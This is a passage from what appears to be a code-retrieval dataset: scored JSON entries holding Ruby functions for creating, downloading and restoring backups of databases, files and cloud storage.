@backup.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "51d899859e5db74817def7454d27ae95", "score": "0.6199628", "text": "def backup_request(client, filename, message)\n filename = \"BACKUP_#{filename}\"\n aFile = File.open(filename, 'w+')\n if aFile\n File.write(filename, message)\n puts \"Updated: #{filename}\"\n else\n client.puts \"ERROR: Unable to open file #{filename}\"\n end\n aFile.close\n return\n end", "title": "" }, { "docid": "e0d9368c87d1e3db4c0dabe4b2f27489", "score": "0.61849993", "text": "def backup_params\n params.require(:backup).permit(:path, :user_id, :host_id)\n end", "title": "" }, { "docid": "f3259e65c2b64283ff3d0d8b9ce4a0c4", "score": "0.6156429", "text": "def perform_backup\n \n add_memories_to_dropbox! if has_dropbox?\n\n # Clone the repo incase something is writing to it while we are backing up\n run \"cd #{@home} && git clone --bare #{@repo} #{@repo}.mirror\"\n output=run \"backup perform --trigger=daily_backup --log-path #{@dirs[:logs ]}\"\n run \"cd #{@home} && rm -fr #{@repo}.mirror\"\n \n get_timestamp(output)\n end", "title": "" }, { "docid": "d98912dba598264626eef7f152d3b6c4", "score": "0.61534214", "text": "def backup_database\n #todo handle db prefix\n #todo proper error handling\n\n dbuser = @attributes[:dbuser]\n dbhost = @attributes[:dbhost]\n dbpass = @attributes[:dbpass]\n dbname = @attributes[:dbname]\n\n # see https://docs.moodle.org/20/en/Site_backup\n\n cmd = %Q{mysqldump -u #{dbuser} -h'#{dbhost}' -p'#{dbpass}' -C -Q -e --create-options '#{dbname}' | gzip -9 > '#{mk_backup_filename('database')}'}\n system cmd\n\n nil\n end", "title": "" }, { "docid": "835b50b13083f82d0c5f6de84c33275c", "score": "0.61515594", "text": "def download_backup(host,port,user,password,name,path,format)\n connect_to_host(host,port,user,password,true)\n if format == 'binary'\n local_file = path+name+\".backup\"\n remote_file = name+\".backup\"\n elsif format== 'script'\n local_file = path+name+\".rsc\"\n remote_file = name+\".rsc\"\n end\n download_file(remote_file,local_file)\n @ssh_connect.close(@ssh_connect)\n end", "title": "" }, { "docid": "d60c9fdc9c33dcf76bcceefc090e78bd", "score": "0.61466444", "text": "def backup\n # solve override problem\n if backup_exist? && !@opt[:bkp_args][:quiet]\n while true\n print \"Already have backup in #{@cfg[:backup]},override?(y/n)\"\n opt = gets\n case opt\n when /^y/i\n break\n when /^n/i\n return\n else\n next\n end\n end\n end\n \n # do backup\n FileUtils.mkdir_p @cfg[:backup] unless File.directory? @cfg[:backup]\n CommonUtils.copy_files @cfg[:local_files], File.join(__dir__, @cfg[:backup]) do |src, dest|\n @logger.debug \"Copying #{src} to #{dest}\"\n puts \"Backup: #{File.basename src}\" unless @opt[:bkp_args][:quiet]\n end\n @logger.debug('Backup completed')\n puts \"Backup completed, saved in: #{@cfg[:backup]}\" unless @opt[:bkp_args][:quiet]\n end", "title": "" }, { "docid": "abb0ae64cbf12db285d0e391b7f68fa1", "score": "0.6142475", "text": "def tmpbkup(action=:create)\n bkup=@bkup\n begin\n if action == :create\n # Thx SO; https://stackoverflow.com/questions/88311/how-to-generate-a-random-string-in-ruby\n marker = (0...8).map { ('a'..'z').to_a[rand(26)] }.join\n\n Pem::Logger.logit(\"Creating backup of #{@location} to #{@location}#{marker}\")\n FileUtils.mv(@location,\"#{@location}#{marker}\")\n return \"#{@location}#{marker}\"\n elsif action == :restore\n Pem::Logger.logit(\"Backup cannot be nil!\", :fatal) if bkup.nil?\n raise('Backup cannot be nil!') if bkup.nil?\n\n Pem::Logger.logit(\"Restoring backup of #{@location} from #{bkup}\")\n FileUtils.rm_rf(@location)\n FileUtils.mv(bkup,@location)\n return nil\n elsif action == :purge\n Pem::Logger.logit(\"Backup cannot be nil!\", :fatal) if bkup.nil?\n raise('Backup cannot be nil!') if bkup.nil?\n\n Pem::Logger.logit(\"Purging backup of #{@location} from #{bkup}\")\n FileUtils.rm_rf(bkup)\n return nil\n end\n rescue StandardError => err\n Pem::Logger.logit(err, :fatal)\n raise(err)\n end\n end", "title": "" }, { "docid": "c5168494f4b39649fa03558b48f13d2f", "score": "0.61334455", "text": "def make_backup\n @backup = editor.create_snapshot\n end", "title": "" }, { "docid": "e4ff30e90c75861fcecc51580caf8bdf", "score": "0.6063919", "text": "def create_backup(storage_uuid, title:)\n data = {\n \"storage\" => {\n \"title\" => title\n }\n }\n\n json = JSON.generate data\n\n response = post \"storage/#{storage_uuid}/backup\", json\n\n response\n end", "title": "" }, { "docid": "20bba42df101f0835deabddbf568918d", "score": "0.603806", "text": "def create_ebs_backup(options = {})\n params = options.merge( { :commit => \"explicit\", :api_version => 1.0 } )\n STDERR.puts \"Performing RightScale API call to create a new snapshot\"\n json=nil\n SystemTimer.timeout_after(@api_snap_timeout) do\n body = RestClient.post @api_url+\"/create_ebs_backup.js\", params\n json = body.nil? ? nil: JSON.load(body)\n STDERR.puts \"CREATED_SNAPS: #{json}\"\n end\n json \n rescue Exception => e\n display_exception(e, \"create_ebs_backup(#{options.inspect})\")\n end", "title": "" }, { "docid": "204ff92ae527fe2a88e5e3f2b4472ee3", "score": "0.60267246", "text": "def create\n @backup_file = BackupFile.new(params[:backup_file])\n\n respond_to do |format|\n if @backup_file.save\n format.html { redirect_to @backup_file, notice: 'Backup file was successfully created.' }\n format.json { render json: @backup_file, status: :created, location: @backup_file }\n else\n format.html { render action: \"new\" }\n format.json { render json: @backup_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6dda883fd54e98187de1587aac22987b", "score": "0.601275", "text": "def backup_and_download\n @config.each do |config|\n connect_to_host(config[:host],config[:port],config[:user],config[:password])\n backup_config(config[:name],config[:format])\n download_backup(config[:host],config[:port],config[:user],config[:password],config[:name],config[:path],config[:format])\n end\n return true\n end", "title": "" }, { "docid": "8140c95cb74065594ec22b9b4d0f2afa", "score": "0.6008519", "text": "def set_backup\n if params[:id] && !params[:id].blank?\n @backup = Backup.new(nil, current_user.id)\n @backup.id_from_epoch(params[:id])\n else\n @backup = Backup.new(nil, current_user.id)\n end\n end", "title": "" }, { "docid": "2f86171fecba4131a7b0de70ca00e26c", "score": "0.60081136", "text": "def backup \n begin\n check_if_db_exists\n is_allowed = @conn.exec(\"select datallowconn from pg_catalog.pg_database where datname='#{@options[:database]}'\")[0]['datallowconn']\n if is_allowed == 'f'\n # unquiece temporarily\n set_dataallowcon_to true\n end\n\n # Check to see if the directory for backups exists and if not, create it with parents\n unless File.exist?(@options[:bkdir])\n FileUtils.mkdir_p @options[:bkdir]\n end\n filename = \"postgresbk_#{@options[:database]}_#{Time.new.strftime(\"%m%d%y%H%M%S\")}.dump\"\n\n # The below system call assumes you have passwordless access as the user passed into the executable tool\n # either due to ~/.pgpass or pg_hba.conf has your user as a 'trust' auth method\n `pg_dump -U #{@options[:user]} #{@options[:database]} -F c -f #{@options[:bkdir]}/#{filename}`\n\n rescue Exception => e\n raise e\n ensure\n if is_allowed == 'f'\n # re quiesce \n set_dataallowcon_to false\n end\n end\n end", "title": "" }, { "docid": "1390bd43473b690e665404dcced35799", "score": "0.60036737", "text": "def create_backup(site_id, datum = nil)\n current_path = \"/api/v1/sites/#{site_id}/backup\"\n @conn.post(current_path, datum.to_json)\n end", "title": "" }, { "docid": "52b817b14c3012c3161274220817018f", "score": "0.5966049", "text": "def backup\n if Setting.getValue('backup') && Setting.getValue('backup_location').present?\n File.open(\"#{Setting.getValue('backup_location')}/taxonomy/#{self.seo_url}.json\", 'w+') do |fh|\n fh.write self.to_json\n end\n end\n end", "title": "" }, { "docid": "463b879f462e23464f542ae9edfa5075", "score": "0.5961697", "text": "def capture\n db = resolve_db(:allow_default => true)\n\n from_url = db[:url]\n from_name = db[:name]\n to_url = nil # server will assign\n to_name = \"BACKUP\"\n opts = {:expire => extract_option(\"--expire\")}\n\n backup = transfer!(from_url, from_name, to_url, to_name, opts)\n\n to_uri = URI.parse backup[\"to_url\"]\n backup_id = to_uri.path.empty? ? \"error\" : File.basename(to_uri.path, '.*')\n display \"\\n#{db[:pretty_name]} ----backup---> #{backup_id}\"\n\n backup = poll_transfer!(backup)\n\n if backup[\"error_at\"]\n message = \" ! An error occurred and your backup did not finish.\"\n message += \"\\n ! The database is not yet online. Please try again.\" if backup['log'] =~ /Name or service not known/\n message += \"\\n ! The database credentials are incorrect.\" if backup['log'] =~ /psql: FATAL:/\n abort(message)\n end\n end", "title": "" }, { "docid": "1da0b0cadd96d4e95e6961c20f00caf8", "score": "0.5961224", "text": "def new\n @backup = Backup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @backup }\n end\n end", "title": "" }, { "docid": "5a7d4282359cd19edce3e038573b9c49", "score": "0.59514475", "text": "def create_backup request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_create_backup_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Longrunning::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "title": "" }, { "docid": "c226215ab340ac9e18e067268a8681f9", "score": "0.5939078", "text": "def backup backup_id\n ensure_service!\n grpc = service.get_backup instance_id, backup_id\n Backup.from_grpc grpc, service\n rescue Google::Cloud::NotFoundError\n nil\n end", "title": "" }, { "docid": "369f94e69ba619dabe114880f414a857", "score": "0.59379315", "text": "def restore\n db = resolve_db(:allow_default => true)\n to_name = db[:name]\n to_url = db[:url]\n\n backup_id = args.shift\n\n if backup_id =~ /^http(s?):\\/\\//\n from_url = backup_id\n from_name = \"EXTERNAL_BACKUP\"\n from_uri = URI.parse backup_id\n backup_id = from_uri.path.empty? ? from_uri : File.basename(from_uri.path)\n else\n if backup_id\n backup = pgbackup_client.get_backup(backup_id)\n abort(\"Backup #{backup_id} already deleted.\") if backup[\"destroyed_at\"]\n else\n backup = pgbackup_client.get_latest_backup\n to_uri = URI.parse backup[\"to_url\"]\n backup_id = File.basename(to_uri.path, '.*')\n backup_id = \"#{backup_id} (most recent)\"\n end\n\n from_url = backup[\"to_url\"]\n from_name = \"BACKUP\"\n end\n\n message = \"#{db[:pretty_name]} <---restore--- \"\n padding = \" \" * message.length\n display \"\\n#{message}#{backup_id}\"\n if backup\n display padding + \"#{backup['from_name']}\"\n display padding + \"#{backup['created_at']}\"\n display padding + \"#{backup['size']}\"\n end\n\n if confirm_command\n restore = transfer!(from_url, from_name, to_url, to_name)\n restore = poll_transfer!(restore)\n\n if restore[\"error_at\"]\n message = \" ! An error occurred and your restore did not finish.\"\n message += \"\\n ! The backup url is invalid. Use `pgbackups:url` to generate a new temporary URL.\" if restore['log'] =~ /Invalid dump format: .*: XML document text/\n abort(message)\n end\n end\n end", "title": "" }, { "docid": "570b256009dde050b7ac4503426b140d", "score": "0.5937335", "text": "def get_backup request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_get_backup_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Metastore::V1::Backup.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "title": "" }, { "docid": "b0c154d8cfb8310b421eb4c825873b46", "score": "0.593544", "text": "def create_backup\n files = []\n if @options.database\n db_backup = MySQLBackup.new(@options.database, \n @options.user,\n @options.password)\n files << db_backup.backup\n end\n \n files << @options.files if @options.files\n\n files.flatten!\n\n process = Process.new(@options.backup_folder,\n files, \n @options.override, \n @options.no_compress,\n @options.max_backups)\n process.backup\n puts \"--> backed up files\"\n puts \" #{files.join(\"\\n \")}\"\n puts \"--> to #{@options.backup_folder}\"\n\n File.delete files[0] if @options.database\n end", "title": "" }, { "docid": "63d65cc8be13d103d5588b70cc592b4e", "score": "0.5934306", "text": "def index\n @perform_backups = PerformBackup.all\n\n end", "title": "" }, { "docid": "359770bd4169dc69b0aa31bd70ed37f8", "score": "0.589464", "text": "def backup_target\n data[:backup_target]\n end", "title": "" }, { "docid": "62e1deba2cf61d55102bffcc882893f8", "score": "0.5893678", "text": "def backup\n\t\tunless (@options && @options[:path] && @options[:dataset])\n\t\t\traise OptionParser::InvalidArgument, \"Missing arguments for 'backup'.\"\n\t\tend\n\t\t# Only attempt backup if the service is running\n\t\tstate = false\n\t\tself.launch(\"/usr/sbin/serveradmin status postgres\") do |output|\n\t\t\tstate = ((/RUNNING/ =~ output) != nil)\n\t\tend\n\t\torig_state = state\n\t\t$log.debug(\"@options = #{@options.inspect}\")\n\t\tarchive_dir = @options[:path]\n\t\tunless (archive_dir[0] == ?/)\n\t\t\traise OptionParser::InvalidArgument, \"Paths must be absolute.\"\n\t\tend\n\t\twhat = @options[:dataset]\n\t\tunless self.class::DATASETS.include?(what)\n\t\t\traise OptionParser::InvalidArgument, \"Unknown data set '#{@options[:dataset]}' specified.\"\n\t\tend\n\t\t# The passed :archive_dir and :what are ignored because the dump is put\n\t\t# on the live data volume\n\t\tarchive_dir = self.backupDir\n\t\tdump_file = \"#{archive_dir}/#{BACKUP_FILE}\"\n\t\tdump_file_uncompressed = \"#{archive_dir}/#{BACKUP_FILE_UNCOMPRESSED}\"\n\t\t# Create the backup directory as necessary.\n\t\tunless File.directory?(archive_dir)\n\t\t\tif File.exists?(archive_dir)\n\t\t\t\t$log.info \"Moving aside #{archive_dir}...\\n\"\n\t\t\t\tFileUtils.mv(archive_dir, archive_dir + \".applesaved\")\n\t\t\tend\n\t\t\t$log.info \"Creating backup directory: #{archive_dir}...\\n\"\n\t\t\tFileUtils.mkdir_p(archive_dir, :mode => 0700)\n\t\t\t# _postgres:_postgres has uid:gid of 216:216\n\t\t\tFile.chown(216, 216, archive_dir)\n\t\tend\n\t\t# Backup only once a day\n\t\tmod_time = File.exists?(dump_file) ? File.mtime(dump_file) : Time.at(0)\n\t\tif (Time.now - mod_time) >= (24 * 60 * 60)\n\t\t\t# Attempt to start the service if needed\n\t\t\tif (! state)\n\t\t\t\tself.launch(\"/usr/sbin/serveradmin start postgres\") do |output|\n\t\t\t\t\tstate = ((/RUNNING/ =~ output) != nil)\n\t\t\t\tend\n\t\t\tend\n\t\t\tif (! state)\n\t\t\t\t$log.info \"PostgreSQL is not running, skipping database backup\"\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\t$log.info \"Creating dump file \\'#{dump_file}\\'...\"\n\t\t\tsystem(\"/usr/bin/sudo -u _postgres /usr/bin/pg_dumpall > #{dump_file_uncompressed.shellescape}\")\n\t\t\tif ($?.exitstatus != 0)\n\t\t\t\t$log.error \"...Backup failed on pg_dumpall, Status=#{$?.exitstatus}\"\n\t\t\telse\n\t\t\t\tsystem(\"/usr/bin/gzip #{dump_file_uncompressed.shellescape}\")\t\t\t\t\n\t\t\t\tif ($?.exitstatus == 0)\n\t\t\t\t\tFile.chmod(0640, dump_file)\n\t\t\t\t\tFile.chown(216, 216, dump_file)\n\t\t\t\t\t$log.info \"...Backup succeeded.\"\n\t\t\t\telse\n\t\t\t\t\t$log.error \"...Backup failed on gzip! Status=#{$?.exitstatus}\"\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t# Restore original service state\n\t\t\tif (! orig_state)\n\t\t\t\t# What if a dependent service was launched while we were backing up? We\n\t\t\t\t# don't want to shut down postgres in that case.\n\t\t\t\twiki_state = false\n\t\t\t\tcalendar_state = false\n\t\t\t\taddressbook_state = false\n\t\t\t\tdevicemgr_state = false\n\t\t\t\tself.launch(\"/usr/sbin/serveradmin status wiki\") do |output|\n\t\t\t\t\twiki_state = ((/RUNNING/ =~ output) != nil)\n\t\t\t\tend\n\t\t\t\tself.launch(\"/usr/sbin/serveradmin status calendar\") do |output|\n\t\t\t\t\tcalendar_state = ((/RUNNING/ =~ output) != nil)\n\t\t\t\tend\n\t\t\t\tself.launch(\"/usr/sbin/serveradmin status addressbook\") do |output|\n\t\t\t\t\taddressbook_state = ((/RUNNING/ =~ output) != nil)\n\t\t\t\tend\n\t\t\t\tself.launch(\"/usr/sbin/serveradmin status devicemgr\") do |output|\n\t\t\t\t\tdevicemgr_state = ((/RUNNING/ =~ output) != nil)\n\t\t\t\tend\n\t\t\t\tif (! (wiki_state || calendar_state || addressbook_state || devicemgr_state))\n\t\t\t\t\tself.launch(\"/usr/sbin/serveradmin stop postgres\")\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\t$log.info \"Dump file is less than 24 hours old; skipping.\"\n\t\tend\n\tend", "title": "" }, { "docid": "11cd22c656536298b551f57b074de54e", "score": "0.5885957", "text": "def backup\n FileUtils.cp options[:file], backup_file if File.file? options[:file]\n end", "title": "" }, { "docid": "c44a2eb2539e23c5673cd17e5c9f204f", "score": "0.58689296", "text": "def backup(file = nil)\n Chef::Util::Backup.new(new_resource, file).backup!\n end", "title": "" }, { "docid": "c44a2eb2539e23c5673cd17e5c9f204f", "score": "0.58689296", "text": "def backup(file = nil)\n Chef::Util::Backup.new(new_resource, file).backup!\n end", "title": "" }, { "docid": "83e73f8d5d9781b7067249d908bbb51e", "score": "0.58532435", "text": "def backup(platform_independent = false, description = nil)\n parameters = { 'backup_desc' => description,\n 'cmd' => 'backup',\n 'platform_independent' => platform_independent,\n 'targetTask' => 'backupRestore' }\n xml = AJAX.form_post(self, '/admin/global/maintenance/maintCmd.txml', parameters)\n if !!(xml =~ /succeded=\"true\"/)\n _maintenance_restart\n end\n end", "title": "" }, { "docid": "903301c7655c7fbba9933e0b67ffca6a", "score": "0.5843022", "text": "def create(server)\n run_barman_command(\"backup #{server}\")\n end", "title": "" }, { "docid": "b3837d0f754ae333f0958f4c7cc7c62e", "score": "0.5830079", "text": "def backup!(file=nil)\n file = file || FILENAME\n dir = root + BACKUP_DIRECTORY\n FileUtils.mkdir(dir.dirname) unless dir.dirname.directory?\n FileUtils.mkdir(dir) unless dir.directory?\n save!(dir + FILENAME)\n end", "title": "" }, { "docid": "66ca7a6337b3437eacdd966839a814c1", "score": "0.5818771", "text": "def backup\n\t\tdata = \"\"\n\t\tcurrent_user\n\t\tif params[\"favorites\"]\n\t\t\tdata << \"favorite_relations = Hash.new\\n\"\n\t\t\tif params[:demo_id]\n\t\t\t\t@favorites = []\n\t\t\t\tTask.where([\"demo_id = ?\", params[:demo_id]]).each do |task|\n\t\t\t\t\t@favorites << task.favorite\n\t\t\t\tend\n\t\t\telsif params[:favorite_id]\n\t\t\t\t@favorites = Favorite.where([\"id = ?\", params[:favorite_id]])\n\t\t\telse\n\t\t\t\t@favorites = @current_user.favorites.all\n\t\t\tend\n\t\t\t@favorites.each do |favorite|\n\t\t\t\tfavorite_id = favorite.attributes[\"id\"]\n\t\t\t\tfavorite_attributes = favorite.attributes\n\t\t\t\tfavorite_attributes.delete(\"id\")\n\t\t\t\tfavorite_attributes.delete(\"user_id\")\n\t\t\t\tfavorite_attributes.delete(\"created_at\")\n\t\t\t\tfavorite_attributes.delete(\"updated_at\")\n\t\t\t\tdata << \"favorite = @current_user.favorites.create(#{favorite_attributes})\\n\"\n\t\t\t\tdata << \"favorite_relations[#{favorite_id}] = favorite.id\\n\"\n\t\t\tend\n\t\tend\n\n\t\tif params[\"demos\"]\n\t\t\tdata << \"demo_relations = Hash.new\\n\"\n\t\t\tparams[:demo_id] ? @demos = Demo.where([\"id = ?\", params[:demo_id]]) : @demos = @current_user.demos.all\n\t\t\t@demos.each do |demo|\n\t\t\t\tdemo_id = demo.attributes[\"id\"]\n\t\t\t\tdemo_attributes = demo.attributes\n\t\t\t\tdemo_attributes.delete(\"id\")\n\t\t\t\tdemo_attributes.delete(\"user_id\")\n\t\t\t\tdemo_attributes.delete(\"created_at\")\n\t\t\t\tdemo_attributes.delete(\"updated_at\")\n\t\t\t\tdata << \"demo = @current_user.demos.create(#{demo_attributes})\\n\"\n\t\t\t\tdata << \"demo_relations[#{demo_id}] = demo.id\\n\"\n\t\t\tend\n\t\tend\n\n\t\tif params[\"platforms\"]\n\t\t\tdata << \"platform_relations = Hash.new\\n\"\n\t\t\t@platforms = @current_user.platforms.all\n\t\t\t@platforms.each do |platform|\n\t\t\t\tplatform_id = platform.attributes[\"id\"]\n\t\t\t\tplatform_attributes = platform.attributes\n\t\t\t\tplatform_attributes.delete(\"id\")\n\t\t\t\tplatform_attributes.delete(\"user_id\")\n\t\t\t\tplatform_attributes.delete(\"created_at\")\n\t\t\t\tplatform_attributes.delete(\"updated_at\")\n\t\t\t\tdata << \"platform = @current_user.platforms.create(#{platform_attributes})\\n\"\n\t\t\t\tdata << \"platform_relations[#{platform_id}] = platform.id\\n\"\n\t\t\tend\n\t\tend\n\n\t\tif params[\"clouds\"]\n\t\t\tdata << \"cloud_relations = Hash.new\\n\"\n\t\t\t@clouds = @current_user.clouds.all\n\t\t\t@clouds.each do |cloud|\n\t\t\t\tcloud_id = cloud.attributes[\"id\"]\n\t\t\t\tplatform_id = cloud.attributes[\"platform_id\"] if params[\"platforms\"]\n\t\t\t\tcloud_attributes = cloud.attributes\n\t\t\t\tcloud_attributes.delete(\"id\")\n\t\t\t\tcloud_attributes.delete(\"user_id\")\n\t\t\t\tcloud_attributes.delete(\"platform_id\")\n\t\t\t\tcloud_attributes.delete(\"created_at\")\n\t\t\t\tcloud_attributes.delete(\"updated_at\")\n\t\t\t\tif(platform_id)\n\t\t\t\t\tdata << \"cloud = @current_user.clouds.create(#{cloud_attributes}.merge!({'platform_id' => platform_relations[#{platform_id}]}))\\n\"\n\t\t\t\telse\n\t\t\t\t\tdata << \"cloud = @current_user.clouds.create(#{cloud_attributes})\\n\"\n\t\t\t\tend\n\t\t\t\tdata << \"cloud_relations[#{cloud_id}] = cloud.id\\n\"\n\t\t\tend\n\t\tend\n\n\t\tif params[\"demos\"]\n\t\t\tdata << \"task_relations = Hash.new\\n\"\n\t\t\tparams[:demo_id] ? @tasks = Task.where([\"demo_id = ?\", params[:demo_id]]) : @tasks = @current_user.tasks.all\n\t\t\t@tasks.each do |task|\n\t\t\t\ttask_id = task.attributes[\"id\"]\n\t\t\t\tdemo_id = task.attributes[\"demo_id\"]\n\t\t\t\tcloud_id = task.attributes[\"cloud_id\"] if params[\"clouds\"]\n\t\t\t\tplatform_id = task.attributes[\"platform_id\"] if params[\"platforms\"]\n\t\t\t\tfavorite_id = task.attributes[\"favorite_id\"]\n\t\t\t\ttask_attributes = task.attributes\n\t\t\t\ttask_attributes.delete(\"id\")\n\t\t\t\ttask_attributes.delete(\"user_id\")\n\t\t\t\ttask_attributes.delete(\"demo_id\")\n\t\t\t\ttask_attributes.delete(\"cloud_id\")\n\t\t\t\ttask_attributes.delete(\"platform_id\")\n\t\t\t\ttask_attributes.delete(\"favorite_id\")\n\t\t\t\ttask_attributes.delete(\"created_at\")\n\t\t\t\ttask_attributes.delete(\"updated_at\")\n\t\t\t\tif platform_id\n\t\t\t\t\tdata << \"task = @current_user.tasks.create(#{task_attributes}.merge!({'demo_id' => demo_relations[#{demo_id}], 'platform_id' => platform_relations[#{platform_id}],'favorite_id' => favorite_relations[#{favorite_id}]}))\\n\"\n\t\t\t\telsif cloud_id\n\t\t\t\t\tdata << \"task = @current_user.tasks.create(#{task_attributes}.merge!({'demo_id' => demo_relations[#{demo_id}], 'cloud_id' => cloud_relations[#{cloud_id}],'favorite_id' => favorite_relations[#{favorite_id}]}))\\n\"\n\t\t\t\telse\n\t\t\t\t\tdata << \"task = @current_user.tasks.create(#{task_attributes}.merge!({'demo_id' => demo_relations[#{demo_id}],'favorite_id' => favorite_relations[#{favorite_id}]}))\\n\"\n\t\t\t\tend\n\t\t\t\tdata << \"task_relations[#{task_id}] = task.id\\n\"\n\t\t\tend\n\t\tend\n\n\t\tif params[\"demos\"]\n\t\t\tdata << \"regexpression_relations = Hash.new\\n\"\n\t\t\tif params[:demo_id]\n\t\t\t\t@regexpressions = []\n\t\t\t\t@tasks.each do |task|\n\t\t\t\t\ttask.regexpressions.each do |regexpression|\n\t\t\t\t\t\t@regexpressions << regexpression\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t@regexpressions = @current_user.regexpressions.all\n\t\t\tend\n\t\t\t@regexpressions.each do |regexpression|\n\t\t\t\tregexpression_id = regexpression.attributes[\"id\"]\n\t\t\t\ttask_id = regexpression.attributes[\"task_id\"]\n\t\t\t\tregexpression_attributes = regexpression.attributes\n\t\t\t\tregexpression_attributes.delete(\"id\")\n\t\t\t\tregexpression_attributes.delete(\"user_id\")\n\t\t\t\tregexpression_attributes.delete(\"task_id\")\n\t\t\t\tregexpression_attributes.delete(\"created_at\")\n\t\t\t\tregexpression_attributes.delete(\"updated_at\")\n\t\t\t\tdata << \"regexpression = @current_user.regexpressions.create(#{regexpression_attributes}.merge!({'task_id' => task_relations[#{task_id}]}))\\n\"\n\t\t\t\tdata << \"regexpression_relations[#{regexpression_id}] = regexpression.id\\n\"\n\t\t\tend\n\t\tend\n\n\t\tif params[:encrypt_password]\n\t\t\tdata = data.encrypt(:symmetric, :algorithm => 'des-ecb', :password => params[:encrypt_password])\n\t\tend\n\n\t\tif params[:cloud]\n\t\t\t@response, @headers, @url = amazon_request(\"Put\", \"/#{current_user.email}/Backup-#{Time.now.to_formatted_s(:number)}\", \"\", data, :cloud => @s3)\n\t\t\tredirect_to :action => \"list_cloud_data\"\n\t\telsif params[:backup_action] == \"share_favorite\"\n\t\t\t@response, @headers, @url = amazon_request(\"Put\", \"/Favorites/#{@favorites[0].api_type}/#{@favorites[0].api}/#{current_user.email}/#{@favorites[0].description}\", \"\", data, :cloud => @s3)\n\t\t\tlogger.info @response.body\n\t\t\trespond_to do |format|\n\t\t\t\tformat.js { render \"shared/execute_share_favorite\" }\n\t\t\tend\n\t\telsif params[:backup_action] == \"share_demo\"\n\t\t\t@response, @headers, @url = amazon_request(\"Put\", \"/Demos/#{current_user.email}/#{@demos[0].name}\", \"\", data, :cloud => @s3)\n\t\t\tlogger.info @response.body\n\t\t\trespond_to do |format|\n\t\t\t\tformat.js { render \"shared/execute_share_demo\" }\n\t\t\tend\n\t\telse\n\t\t\tsend_data(data, :filename => \"Backup-#{Time.now.to_formatted_s(:number)}.txt\" )\n\t\tend\n\tend", "title": "" }, { "docid": "e1434f9eb06b67fb9f6339a9b2da3695", "score": "0.5815867", "text": "def transfer\n\t\tattributes = super\n\t\tself.last_backup_date = Date.today\n\t\tset_next_backup_date\n\t\tself.save\n\t\tlog_transfer(attributes)\n\tend", "title": "" }, { "docid": "8b2e1d7255d0e35183c10d94c217c608", "score": "0.5813248", "text": "def create(name)\n p \"Doing a create ...\"\n params = {:backup => {:lineage => \"ns_backup_test_lineage\", :name => name, :volume_attachment_hrefs => [@volume_attachment_href_1, @volume_attachment_href_2]}}\n return @test_client.backups.create(params)\nend", "title": "" }, { "docid": "01f1ebefe36a7b02b2871efb0efc87f0", "score": "0.5803859", "text": "def item_backup_url(id)\n \"#{@baseurl}/view.aspx?cabinet=published_meetings&fileid=#{id}\"\n end", "title": "" }, { "docid": "9f5219bee6775abb847e423335d682a2", "score": "0.5799573", "text": "def backup!(file=nil)\n file = file || FILENAME\n dir = root + BACKUP_DIRECTORY\n FileUtils.mkdir(dir.dirname) unless dir.dirname.directory?\n FileUtils.mkdir(dir) unless dir.directory?\n save!(dir + DOTRUBY_FILENAME)\n end", "title": "" }, { "docid": "dbb5c825bab6e619b3f33218c5dc3554", "score": "0.5798896", "text": "def backup(job)\n path = @filesystem.get_tmp_path\n s3 = @storage.parse_location(job['location'])\n db = @db.get_opts(job['db'])\n \n Mongolicious.logger.info(\"Starting job for #{db[:host]}:#{db[:port]}/#{db[:db]}\")\n\n @db.dump(db, path)\n @filesystem.compress(path) \n \n key = \"#{s3[:prefix]}_#{Time.now.strftime('%m%d%Y_%H%M%S')}.tar.bz2\"\n @storage.upload(s3[:bucket], key, path)\n \n @filesystem.cleanup(path)\n @storage.cleanup(s3[:bucket], s3[:prefix], job['versions'])\n \n Mongolicious.logger.info(\"Finishing job for #{db[:host]}:#{db[:port]}/#{db[:db]}\") \n end", "title": "" }, { "docid": "8c77490639c0a96a8e9fd6fe11bd08d2", "score": "0.5798366", "text": "def download\n @config.each do |config|\n download_backup(config[:host],config[:port],config[:user],config[:password],config[:name],config[:path],config[:format])\n end\n return true\n end", "title": "" }, { "docid": "17feb8c9155097de8d96fc96f01581be", "score": "0.57855207", "text": "def bms_backup_restore_with_http_info(backupuuid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: VnfsApi.bms_backup_restore ...'\n end\n # verify the required parameter 'backupuuid' is set\n if @api_client.config.client_side_validation && backupuuid.nil?\n fail ArgumentError, \"Missing the required parameter 'backupuuid' when calling VnfsApi.bms_backup_restore\"\n end\n # resource path\n local_var_path = '/bms/1.0.0/backup/{backupuuid}/restore'.sub('{' + 'backupuuid' + '}', backupuuid.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml', ])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oAuth2']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Backup')\n if @api_client.config.debugging\n @api_client.config.logger.debug 